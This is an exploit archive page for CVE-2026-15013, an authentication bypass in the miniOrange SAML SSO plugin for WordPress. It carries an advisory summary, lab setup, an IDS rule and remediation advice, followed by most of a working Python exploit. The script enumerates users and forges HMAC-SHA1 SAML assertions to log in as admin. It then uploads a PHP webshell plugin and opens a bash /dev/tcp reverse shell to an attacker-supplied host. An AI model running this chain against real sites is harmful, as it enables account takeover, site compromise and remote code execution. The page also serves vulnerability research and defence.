PoC Archive PoC Archive
CVE-2026-15013 category: web CVSS 9.8 (CRITICAL)
Unverified

miniOrange SAML SSO Signature Algorithm Confusion Authentication Bypass (CVE-2026-15013)

Published: 2026-11-27 • Researcher: Efe Gungor (zer0dayf); vulnerability discovered by lhking, coordinated by Wordfence

Target software miniOrange SAML Single Sign On – SSO Login plugin for WordPress (miniorange-saml-20-single-sign-on)
Affected versions All versions up to and including 5.4.3
Status PoC
Severity Critical · CVSS 9.8
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-07-27
Author / ResearcherEfe Gungor (zer0dayf); vulnerability discovered by lhking, coordinated by Wordfence
CVE / AdvisoryCVE-2026-15013
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS 3.1 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusPoC
TagsWordPress, miniOrange, SAML, signature-confusion, HMAC-SHA1, authentication-bypass, unauthenticated, account-takeover
RelatedN/A

Affected Target

FieldValue
Software / SystemminiOrange SAML Single Sign On – SSO Login plugin for WordPress (miniorange-saml-20-single-sign-on)
Versions AffectedAll versions up to and including 5.4.3
Language / PlatformPHP / WordPress (Apache), any host OS
Authentication RequiredNo
Network Access RequiredYes (HTTP/HTTPS to the WordPress site and the IdP)

Summary

The miniOrange SAML SSO plugin for WordPress trusts the signature algorithm named inside an attacker-supplied SAML response. When the assertion declares HMAC-SHA1, the plugin treats the identity provider’s public RSA certificate as a shared HMAC secret and validates the forged signature with it. Because IdP certificates are usually public metadata, an unauthenticated attacker can forge a valid assertion for any WordPress account, including an administrator. The bundled chain then logs in as admin, uploads a plugin webshell, and optionally obtains a reverse shell.

Vulnerability Details

Root Cause

The plugin helper mo_saml_cast_key() reads the SignatureMethod Algorithm attribute directly from the SAMLResponse parameter instead of enforcing the locally configured signing algorithm. If the assertion specifies HMAC-SHA1, the IdP RSA public key is recast as an HMAC shared secret, and the attacker-computed HMAC over SignedInfo is accepted as valid. The attack therefore bypasses XML signature verification entirely without access to any private key.

Attack Vector

An unauthenticated remote attacker sends a POST request to the plugin’s Assertion Consumer Service endpoint containing a base64-encoded SAMLResponse. The response carries an assertion for a chosen WordPress username and an enveloped HMAC-SHA1 signature keyed with the publicly available IdP certificate. RelayState is set to the WordPress admin area.

Impact

Successful exploitation yields a valid WordPress authentication cookie for the targeted account. When the target is an administrator, the attacker can install a malicious plugin and execute arbitrary PHP code, leading to full site compromise, data theft, and remote code execution under the web server account.

Environment / Lab Setup

Output
OS:          Linux with Docker and Docker Compose
Target:      WordPress 6.4-apache with miniOrange SAML SSO 5.4.3
IdP:         Keycloak 24.0 (for metadata and certificate)
Attacker:    Linux workstation with Python 3.10+ and openssl
Tools:       python3, requests, lxml, openssl CLI, curl

Setup Steps

Shell script
1
2
3
4
cd docker
docker compose up -d --build

pip3 install -r ../requirements.txt

The Docker file pulls the official vulnerable plugin build 5.4.3 from downloads.wordpress.org and enables it inside a WordPress 6.4 Apache container. The compose file adds MariaDB and Keycloak for a complete SP/IdP lab.

Proof of Concept

Step-by-Step Reproduction

  1. Detect WordPress and the plugin — confirm the site is WordPress and read the plugin’s readme.txt stable tag; the version must be 5.4.3 or lower.

    Shell script
    1
    
    curl -s http://127.0.0.1:8080/wp-content/plugins/miniorange-saml-20-single-sign-on/readme.txt | grep -i "stable tag"
  2. Discover SP and IdP metadata — the script queries the plugin metadata endpoint and the SSO redirect to learn the ACS URL, SP entity ID, and IdP issuer.

    Shell script
    1
    
    python3 exploit.py -u http://127.0.0.1:8080 --no-shell
  3. Fetch the IdP signing certificate — retrieve the IdP SAML descriptor, extract the X509 certificate, and convert it to a PEM public key; that key becomes the HMAC secret used for forgery.

  4. Enumerate candidate WordPress users — the REST API, author archives, and feeds are used to collect usernames to target.

  5. Forge the SAML response and log in — for each candidate, build an assertion with an HMAC-SHA1 signature and POST it to the ACS endpoint, looking for the wordpress_logged_in cookie and admin access.

  6. Install the proof plugin — with an administrator session, upload the bundled plugin zip and browse the resulting shell to confirm command execution.

  7. Optional reverse shell — start a listener and rerun with the callback address, as shown below.

    Shell script
    1
    2
    
    nc -lvnp 4444
    python3 exploit.py -u http://127.0.0.1:8080 --lhost 127.0.0.1 --lport 4444

Exploit Code

See exploit.py for the full implementation and docker/docker-compose.yml for the lab.

Python
1
2
3
4
5
6
sig_b64 = base64.b64encode(
    hmac.new(hmac_key, etree.tostring(si, method="c14n", exclusive=True), hashlib.sha1).digest()
).decode()

s.post(acs, data={"SAMLResponse": base64.b64encode(resp.encode()).decode(),
                  "RelayState": "/wp-admin/"}, allow_redirects=True)

Expected Output

Output
[1] WordPress @ http://127.0.0.1:8080
    OK
[2] Plugin
    version=5.4.3
[3] SP / IdP
    ACS=http://127.0.0.1:8080/
    Audience=http://127.0.0.1:8080/wp-content/plugins/miniorange-saml-20-single-sign-on/
    Issuer=http://127.0.0.1:8081/realms/mosaml
[3b] HMAC key
    cached /tmp/php-pub.pem
[4] Users
    ['admin']
[5] HMAC SAML login
    admin → admin
[+] ADMIN as admin
[6] Shell
    ok → http://127.0.0.1:8080/wp-content/plugins/exp/shell.php
>>> id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Representative output from a successful lab run; the issuer realm, ACS URL, usernames, and plugin version strings depend on the local WordPress and Keycloak configuration.

Detection & Indicators of Compromise

Output

SIEM / IDS Rule (example):

Output
alert http any any -> $HOME_NET any (msg:"Possible miniOrange SAML HMAC algorithm confusion"; flow:to_server,established; http.method; content:"POST"; http.client_body; content:"SAMLResponse"; http.client_body; content:"hmac-sha1"; nocase; sid:202615013; rev:1;)

Remediation

ActionDetail
PatchUpgrade miniOrange SAML SSO to 5.4.4 or later, which rejects HMAC algorithms and enforces the configured algorithm.
WorkaroundRestrict access to the SAML ACS endpoint where feasible and review IdP metadata exposure; monitor for forged assertion patterns.
Config HardeningEnforce RSA-SHA256 signing in the plugin configuration, pin the IdP certificate, and require signed assertions from the IdP.

References

Notes

Verdict: genuine, non-malicious exploit PoC. The repository implements the complete SAML algorithm-confusion chain against the vulnerable plugin and ships a Docker lab. It is an independent reproduction rather than the original discovery (credited to lhking), and no captured run output is included, so Status is recorded as PoC rather than Weaponized; the code was not executed during archival.

License: no license file or explicit license grant in the upstream repository; README limits use to authorized testing.

Limitations: exploitation requires a reachable IdP metadata/certificate (or a supplied public key) and a valid WordPress username; the chain also depends on the target allowing plugin uploads from the admin account. The bundled PHP plugin shell and the optional reverse-shell path are integral parts of the RCE demonstration, not separate malware; only the exploit, its requirements, README, and lab configuration files were archived (no repository metadata, compiled artifacts, or screenshots). Docker compose includes a Keycloak service but no preconfigured realm, so lab IdP wiring must be completed manually.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
# DISCLAIMER: Provided for authorized security research and defensive testing only.
# Use this code solely against systems you own or have explicit written permission to test.
# Unauthorized access to computer systems is illegal. The author and archivists accept
# no liability for misuse or damage caused by this code.
"""
CVE-2026-15013 — miniOrange SAML SSO <= 5.4.3
HMAC signature algorithm confusion
Lab / authorized testing only.

Flow: detect → enum users → fetch IdP cert → HMAC SAML → admin → shell → optional reverse
"""
from __future__ import annotations

import argparse
import base64
import hashlib
import hmac
import io
import os
import re
import subprocess
import sys
import tempfile
import uuid
import zipfile
from datetime import datetime, timedelta, timezone
from pathlib import Path
from urllib.parse import urlparse

import requests
from lxml import etree

requests.packages.urllib3.disable_warnings()

NS_SAMLP = "urn:oasis:names:tc:SAML:2.0:protocol"
NS_SAML = "urn:oasis:names:tc:SAML:2.0:assertion"
NS_DS = "http://www.w3.org/2000/09/xmldsig#"
C14N = "http://www.w3.org/2001/10/xml-exc-c14n#"
ENVSIG = "http://www.w3.org/2000/09/xmldsig#enveloped-signature"
HMAC_URI = "http://www.w3.org/2000/09/xmldsig#hmac-sha1"
SHA1_URI = "http://www.w3.org/2000/09/xmldsig#sha1"
PLUGIN_PATH = "/wp-content/plugins/miniorange-saml-20-single-sign-on/"
VULN_MAX = (5, 4, 3)

SHELL_PHP = r"""<?php
/**
 * Plugin Name: exp
 * Version: 1.0
 */
if (!isset($_GET["c"])) {
    header("Content-Type: text/plain");
    echo "exp cmd shell\nUsage: ?c=id\n";
    exit;
}
$c = $_GET["c"];
header("Content-Type: text/plain; charset=utf-8");
echo ">>> " . $c . "\n\n";
if (function_exists("shell_exec")) {
    echo shell_exec($c . " 2>&1");
} else {
    echo "no shell_exec\n";
}
"""


def norm(url: str) -> str:
    url = url.strip().rstrip("/")
    if not url.startswith(("http://", "https://")):
        url = "http://" + url
    return url


def ver_tuple(s: str):
    try:
        return tuple(int(x) for x in s.split(".")[:3])
    except Exception:
        return (0, 0, 0)


def now_iso(m=0):
    return (datetime.now(timezone.utc) + timedelta(minutes=m)).strftime("%Y-%m-%dT%H:%M:%SZ")


def session():
    s = requests.Session()
    s.verify = False
    s.headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
    return s


def is_wp(s, base):
    for p in ("/wp-login.php", "/wp-json/", "/wp-includes/js/jquery/jquery.min.js"):
        try:
            if s.get(base + p, timeout=10).status_code == 200:
                return True
        except Exception:
            pass
    return False


def detect_plugin(s, base):
    try:
        r = s.get(base + PLUGIN_PATH + "readme.txt", timeout=10)
        if r.status_code == 200:
            m = re.search(r"Stable tag:\s*(\S+)", r.text)
            if m:
                return m.group(1)
    except Exception:
        pass
    return None


def discover_sp(s, base):
    acs, eid, issuer = base + "/", base + PLUGIN_PATH, ""
    try:
        r = s.get(base + "/?option=mosaml_metadata", timeout=12)
        if r.status_code == 200 and "EntityDescriptor" in r.text:
            m = re.search(r'entityID="([^"]+)"', r.text)
            if m:
                eid = m.group(1)
            m = re.search(r'Location="([^"]+)"', r.text)
            if m:
                acs = m.group(1)
    except Exception:
        pass
    try:
        r = s.get(base + "/?option=saml_user_login", timeout=12, allow_redirects=False)
        if r.status_code in (301, 302, 303, 307):
            loc = r.headers.get("Location", "")
            pu = urlparse(loc)
            if pu.scheme and pu.netloc:
                issuer = f"{pu.scheme}://{pu.netloc}"
                parts = [x for x in pu.path.split("/") if x]
                if "realms" in parts:
                    i = parts.index("realms")
                    if i + 1 < len(parts):
                        issuer = f"{pu.scheme}://{pu.netloc}/realms/{parts[i + 1]}"
    except Exception:
        pass
    return acs, eid, issuer


def enum_users(s, base):
    found, seen = [], set()

    def add(u):
        if not u:
            return
        u = str(u).strip().split("/")[-1]
        if not u or u in seen:
            return
        if not re.match(r"^[\w.@+-]{1,60}$", u):
            return
        seen.add(u)
        found.append(u)

    for ep in (f"{base}/wp-json/wp/v2/users", f"{base}/?rest_route=/wp/v2/users"):
        try:
            r = s.get(ep, params={"per_page": 100}, timeout=12)
            if r.status_code == 200 and isinstance(r.json(), list):
                for u in r.json():
                    add(u.get("slug"))
                    add(u.get("name"))
                    add(u.get("username"))
        except Exception:
            pass

    for uid in range(1, 30):
        for ep in (
            f"{base}/wp-json/wp/v2/users/{uid}",
            f"{base}/?rest_route=/wp/v2/users/{uid}",
        ):
            try:
                r = s.get(ep, timeout=8)
                if r.status_code == 200:
                    j = r.json()
                    add(j.get("slug"))
                    add(j.get("name"))
                    add(j.get("username"))
                    break
            except Exception:
                continue

    for q in list("abcdefghijklmnopqrstuvwxyz0123456789") + ["admin", "user", "test"]:
        try:
            r = s.get(
                f"{base}/wp-json/wp/v2/users",
                params={"search": q, "per_page": 100},
                timeout=8,
            )
            if r.status_code == 200 and isinstance(r.json(), list):
                for u in r.json():
                    add(u.get("slug"))
                    add(u.get("name"))
        except Exception:
            pass

    for uid in range(1, 40):
        try:
            r = s.get(f"{base}/?author={uid}", timeout=8, allow_redirects=False)
            m = re.search(r"/author/([^/?&#]+)", r.headers.get("Location", ""))
            if m:
                add(m.group(1))
            r2 = s.get(f"{base}/?author={uid}", timeout=8, allow_redirects=True)
            if r2.status_code == 200:
                for m in re.finditer(r"/author/([a-zA-Z0-9._-]+)", r2.text[:12000]):
                    add(m.group(1))
                for m in re.finditer(r"author-([a-zA-Z0-9_-]+)", r2.text[:12000]):
                    add(m.group(1))
        except Exception:
            pass

    for path in ("/", "/feed/", "/comments/feed/"):
        try:
            r = s.get(base + path, timeout=10)
            if r.status_code == 200:
                for m in re.finditer(r"/author/([a-zA-Z0-9._-]+)", r.text[:40000]):
                    add(m.group(1))
        except Exception:
            pass

    for c in ("admin", "administrator", "root", "webmaster"):
        add(c)

    common = {"admin", "administrator", "root", "webmaster"}
    prio = [u for u in found if u.lower() in common]
    rest = [u for u in found if u.lower() not in common]
    out, seen2 = [], set()
    for u in prio + rest:
        if u not in seen2:
            seen2.add(u)
            out.append(u)
    return out


def cert_b64_to_pubkey_pem(cert_b64: str) -> bytes:
    cert_b64 = re.sub(r"\s+", "", cert_b64)
    pem = "-----BEGIN CERTIFICATE-----\n"
    for i in range(0, len(cert_b64), 64):
        pem += cert_b64[i : i + 64] + "\n"
    pem += "-----END CERTIFICATE-----\n"
    fd, crt = tempfile.mkstemp(suffix=".crt")
    os.close(fd)
    try:
        with open(crt, "w") as f:
            f.write(pem)
        out = subprocess.check_output(
            ["openssl", "x509", "-in", crt, "-pubkey", "-noout"],
            stderr=subprocess.DEVNULL,
        )
    finally:
        try:
            os.unlink(crt)
        except Exception:
            pass
    if b"BEGIN PUBLIC KEY" not in out:
        raise RuntimeError("openssl pubkey failed")
    return out


def fetch_hmac_key_from_idp(s, issuer: str) -> bytes:
    issuer = issuer.rstrip("/")
    urls = [
        issuer + "/protocol/saml/descriptor",
        issuer + "/descriptor",
    ]
    last = None
    for url in urls:
        try:
            r = s.get(url, timeout=12)
            if r.status_code != 200:
                continue
            certs = re.findall(
                r"<[^>]*X509Certificate[^>]*>([^<]+)</[^>]*X509Certificate>",
                r.text,
                flags=re.I,
            )
            if not certs:
                continue
            return cert_b64_to_pubkey_pem(certs[0])
        except Exception as e:
            last = e
    raise RuntimeError(f"IdP metadata cert not found ({last})")


def resolve_hmac_key(s, issuer: str, key_path: str) -> bytes:
    if key_path:
        p = Path(key_path)
        if p.is_file() and p.stat().st_size > 0:
            data = p.read_bytes()
            if b"BEGIN PUBLIC KEY" in data or b"BEGIN RSA PUBLIC KEY" in data:
                print(f"    from file {key_path}")
                return data
            if b"BEGIN CERTIFICATE" in data:
                print(f"    from cert file {key_path}")
                lines = [
                    ln.strip()
                    for ln in data.decode(errors="ignore").splitlines()
                    if "BEGIN" not in ln and "END" not in ln
                ]
                return cert_b64_to_pubkey_pem("".join(lines))
    print(f"    from IdP metadata {issuer}")
    key = fetch_hmac_key_from_idp(s, issuer)
    try:
        Path("/tmp/php-pub.pem").write_bytes(key)
        print("    cached /tmp/php-pub.pem")
    except Exception:
        pass
    return key


def forge_saml(issuer, acs, sp_entity, nameid, hmac_key: bytes) -> str:
    assert_id = "_" + uuid.uuid4().hex
    resp_id = "_" + uuid.uuid4().hex
    inst, nb, na = now_iso(), now_iso(-5), now_iso(60)
    S = NS_SAML
    a = etree.Element(f"{{{S}}}Assertion", nsmap={"saml": S})
    a.set("ID", assert_id)
    a.set("IssueInstant", inst)
    a.set("Version", "2.0")
    etree.SubElement(a, f"{{{S}}}Issuer").text = issuer
    subj = etree.SubElement(a, f"{{{S}}}Subject")
    nid = etree.SubElement(subj, f"{{{S}}}NameID")
    nid.set("Format", "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified")
    nid.text = nameid
    sc = etree.SubElement(subj, f"{{{S}}}SubjectConfirmation")
    sc.set("Method", "urn:oasis:names:tc:SAML:2.0:cm:bearer")
    scd = etree.SubElement(sc, f"{{{S}}}SubjectConfirmationData")
    scd.set("NotOnOrAfter", na)
    scd.set("Recipient", acs)
    cond = etree.SubElement(a, f"{{{S}}}Conditions")
    cond.set("NotBefore", nb)
    cond.set("NotOnOrAfter", na)
    ar = etree.SubElement(cond, f"{{{S}}}AudienceRestriction")
    etree.SubElement(ar, f"{{{S}}}Audience").text = sp_entity
    ast = etree.SubElement(a, f"{{{S}}}AuthnStatement")
    ast.set("AuthnInstant", inst)
    ast.set("SessionIndex", assert_id)
    actx = etree.SubElement(ast, f"{{{S}}}AuthnContext")
    etree.SubElement(actx, f"{{{S}}}AuthnContextClassRef").text = (
        "urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport"
    )
    dig = base64.b64encode(
        hashlib.sha1(etree.tostring(a, method="c14n", exclusive=True)).digest()
    ).decode()
    D = NS_DS
    si = etree.Element(f"{{{D}}}SignedInfo", nsmap={"ds": D})
    etree.SubElement(si, f"{{{D}}}CanonicalizationMethod").set("Algorithm", C14N)
    etree.SubElement(si, f"{{{D}}}SignatureMethod").set("Algorithm", HMAC_URI)
    ref = etree.SubElement(si, f"{{{D}}}Reference")
    ref.set("URI", "#" + assert_id)
    tr = etree.SubElement(ref, f"{{{D}}}Transforms")
    etree.SubElement(tr, f"{{{D}}}Transform").set("Algorithm", ENVSIG)
    etree.SubElement(tr, f"{{{D}}}Transform").set("Algorithm", C14N)
    etree.SubElement(ref, f"{{{D}}}DigestMethod").set("Algorithm", SHA1_URI)
    etree.SubElement(ref, f"{{{D}}}DigestValue").text = dig
    sig_b64 = base64.b64encode(
        hmac.new(
            hmac_key, etree.tostring(si, method="c14n", exclusive=True), hashlib.sha1
        ).digest()
    ).decode()
    sig = etree.Element(f"{{{D}}}Signature", nsmap={"ds": D})
    sig.append(si)
    etree.SubElement(sig, f"{{{D}}}SignatureValue").text = sig_b64
    a_str = etree.tostring(a, encoding="unicode")
    pos = a_str.find("</saml:Issuer>") + len("</saml:Issuer>")
    body = a_str[:pos] + etree.tostring(sig, encoding="unicode") + a_str[pos:]
    P = NS_SAMLP
    resp = (
        f'<samlp:Response xmlns:samlp="{P}" xmlns:saml="{S}"'
        f' Destination="{acs}" ID="{resp_id}" IssueInstant="{inst}" Version="2.0">'
        f"<saml:Issuer>{issuer}</saml:Issuer>"
        f'<samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status>'
        f"{body}</samlp:Response>"
    )
    return base64.b64encode(resp.encode()).decode()


def try_login(base, acs, eid, issuer, nameid, hmac_key):
    s = session()
    b64 = forge_saml(issuer, acs, eid, nameid, hmac_key)
    s.post(
        acs,
        data={"SAMLResponse": b64, "RelayState": "/wp-admin/"},
        timeout=20,
        allow_redirects=True,
    )
    if not any("wordpress_logged_in" in c.name for c in s.cookies):
        return None, "no_cookie"
    r = s.get(
        base + "/wp-admin/plugin-install.php?tab=upload",
        timeout=15,
        allow_redirects=True,
    )
    if r.status_code == 200 and "wp-login" not in r.url and "_wpnonce" in r.text:
        return s, "admin"
    r2 = s.get(base + "/wp-admin/", timeout=12, allow_redirects=True)
    if r2.status_code == 200 and "wp-login" not in r2.url:
        return s, "user"
    return s, "cookie_only"


def mk_zip():
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z:
        z.writestr("exp/shell.php", SHELL_PHP)
        z.writestr("exp/readme.txt", "=== exp ===\nStable tag: 1.0\n")
    return buf.getvalue()


def upload_shell(s, base):
    r = s.get(base + "/wp-admin/plugin-install.php?tab=upload", timeout=20)
    m = re.search(r'name="_wpnonce"\s+value="([^"]+)"', r.text)
    if not m:
        return None, "no_nonce"
    ur = s.post(
        base + "/wp-admin/update.php?action=upload-plugin",
        data={
            "_wpnonce": m.group(1),
            "_wp_http_referer": "/wp-admin/plugin-install.php?tab=upload",
            "install-plugin-submit": "Install Now",
        },
        files={"pluginzip": ("exp.zip", mk_zip(), "application/zip")},
        timeout=30,
        allow_redirects=True,
    )
    shell = base + "/wp-content/plugins/exp/shell.php"
    c = s.get(shell, timeout=12)
    if c.status_code == 200 and ("exp" in c.text or "Usage" in c.text):
        return shell, "ok"
    return shell, f"upload={ur.status_code} shell={c.status_code}"


def reverse_shell(s, shell_url, lhost, lport):
    cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
    try:
        s.get(shell_url, params={"c": cmd}, timeout=5)
    except requests.exceptions.ReadTimeout:
        pass
    return True


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-15013 lab PoC")
    ap.add_argument("-u", "--url", required=True, help="WordPress base URL (required)")
    ap.add_argument(
        "-k",
        "--hmac-key",
        default="",
        help="PEM pubkey/cert file; empty = fetch from IdP SAML metadata",
    )
    ap.add_argument("--issuer", default="")
    ap.add_argument("--acs", default="")
    ap.add_argument("--nameid", default="")
    ap.add_argument("--lhost", default="")
    ap.add_argument("--lport", type=int, default=4444)
    ap.add_argument("--no-shell", action="store_true")
    ap.add_argument("--no-reverse", action="store_true")
    args = ap.parse_args()

    base = norm(args.url)
    s = session()

    print(f"[1] WordPress @ {base}")
    if not is_wp(s, base):
        sys.exit("[-] not WordPress")
    print("    OK")

    print("[2] Plugin")
    ver = detect_plugin(s, base)
    if not ver:
        sys.exit("[-] miniOrange SAML not found")
    print(f"    version={ver}")
    if ver_tuple(ver) > VULN_MAX:
        sys.exit(f"[-] {ver} > 5.4.3 (HMAC path patched)")

    print("[3] SP / IdP")
    acs, eid, issuer = discover_sp(s, base)
    if args.acs:
        acs = args.acs
    if args.issuer:
        issuer = args.issuer
    if not issuer:
        sys.exit("[-] IdP issuer not found (SSO redirect). Pass --issuer https://idp/.../realms/xxx")
    print(f"    ACS={acs}")
    print(f"    Audience={eid}")
    print(f"    Issuer={issuer}")

    print("[3b] HMAC key")
    try:
        hmac_key = resolve_hmac_key(s, issuer, args.hmac_key)
    except Exception as e:
        sys.exit(f"[-] HMAC key: {e}")

    print("[4] Users")
    users = [args.nameid] if args.nameid else enum_users(s, base)
    print(f"    {users}")

    print("[5] HMAC SAML login")
Showing 500 of 534 lines View full file on GitHub →